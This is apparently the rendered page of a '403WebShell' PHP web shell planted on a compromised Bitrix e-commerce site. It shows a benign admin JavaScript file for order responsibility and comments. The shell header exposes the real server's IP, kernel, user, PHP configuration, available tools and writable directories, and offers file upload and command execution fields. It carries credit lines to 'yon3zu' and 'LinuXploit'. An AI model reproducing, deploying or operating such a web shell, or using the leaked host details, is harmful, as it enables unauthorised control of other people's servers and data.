%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.226.150.245
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/sale/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/sale/admin/order_additional_info.js
BX.namespace("BX.Sale.Admin.OrderAdditionalInfo");

BX.Sale.Admin.OrderAdditionalInfo =
{
	choosePerson: function(formName, languageId)
	{
		window.open(
			'/bitrix/admin/user_search.php?lang='+languageId+'&FN='+formName+'&FC=RESPONSIBLE_ID',
			'',
			'scrollbars=yes,resizable=yes,width=840,height=500,top='+Math.floor((screen.height - 560)/2-14)+',left='+Math.floor((screen.width - 840)/2-5)
		);
	},

	changePerson: function()
	{
		var node = BX("order_additional_info_responsible"),
			responsibleId = BX('RESPONSIBLE_ID').value;

		if(node)
			node.href = '/bitrix/admin/user_edit.php?lang='+BX.Sale.Admin.OrderEditPage.languageId+'&ID='+responsibleId;

		var params = {
			action : 'changeResponsibleUser',
			userId : responsibleId,
			siteId: BX.Sale.Admin.OrderEditPage.siteId,
			callback: function(result)
						{
							BX.Sale.Admin.OrderAdditionalInfo.setResponsible(result.RESPONSIBLE);
							BX.Sale.Admin.OrderAdditionalInfo.setEmpResponsible(result.EMP_RESPONSIBLE);
							BX.Sale.Admin.OrderAdditionalInfo.setDateResponsible(result.DATE_RESPONSIBLE);
						}
		};

		BX.Sale.Admin.OrderAjaxer.sendRequest(params);
	},

	setResponsible: function(responsible)
	{
		var span = BX("order_additional_info_responsible");

		if(responsible)
			responsible = BX.util.htmlspecialchars(responsible);

		if (span)
			BX.html(span, responsible);
	},

	setEmpResponsible: function(empResponsible)
	{
		var span = BX("order_additional_info_emp_responsible");

		if(empResponsible)
			empResponsible = BX.util.htmlspecialchars(empResponsible);

		if (span)
			BX.html(span, empResponsible);
	},

	setDateResponsible: function(dateResponsible)
	{
		var span = BX("order_additional_info_date_responsible");

		if(dateResponsible)
			dateResponsible = BX.util.htmlspecialchars(dateResponsible);

		if (span)
			BX.html(span, dateResponsible);
	},

	showCommentsDialog: function(orderId, commentNode)
	{
		var comments = commentNode.innerHTML.replace(new RegExp("<br>", "g"), "");

		var	dialog = new BX.CDialog({
			'content': '<textarea style="width:710px;height:260px;" name="COMMENTS" id="COMMENTS">'+
				comments+
			'</textarea>',
			'title': BX.message("SALE_ORDER_ADDITIONAL_INFO_COMMENT_EDIT"),
			'width': 750,
			'height': 300,
			'resizable': true
		});

		dialog.ClearButtons();
		dialog.SetButtons([
			{
				'title': BX.message("SALE_ORDER_ADDITIONAL_INFO_COMMENT_SAVE"),
				'action': function() {

					var commentsTa = BX("COMMENTS");

					if(commentsTa)
						comments = commentsTa.value;
					else if(comments == BX.message("SALE_ORDER_ADDITIONAL_INFO_NO_COMMENT"))
						comments = "";

					BX.Sale.Admin.OrderAdditionalInfo.saveComment(comments, orderId, commentNode);
					this.parentWindow.Close();
				}
			},
			BX.CDialog.prototype.btnCancel
		]);

		BX.addCustomEvent(dialog, 'onWindowClose', function(dialog) {
			dialog.DIV.parentNode.removeChild(dialog.DIV);
		});

		dialog.Show();
	//	dialog.adjustSizeEx();
	},

	saveComment: function(comments, orderId, commentNode)
	{
		BX.Sale.Admin.OrderAjaxer.sendRequest({
			action : 'saveComments',
			comments: comments,
			orderId: orderId,
			callback: function(result)
			{
				if(result && typeof result.COMMENTS !== 'undefined' && commentNode)
					commentNode.innerHTML = result.COMMENTS.replace(new RegExp("\n", "g"), "<br>\n");
			}
		});
	}
};

Youez - 2016 - github.com/yon3zu
LinuXploit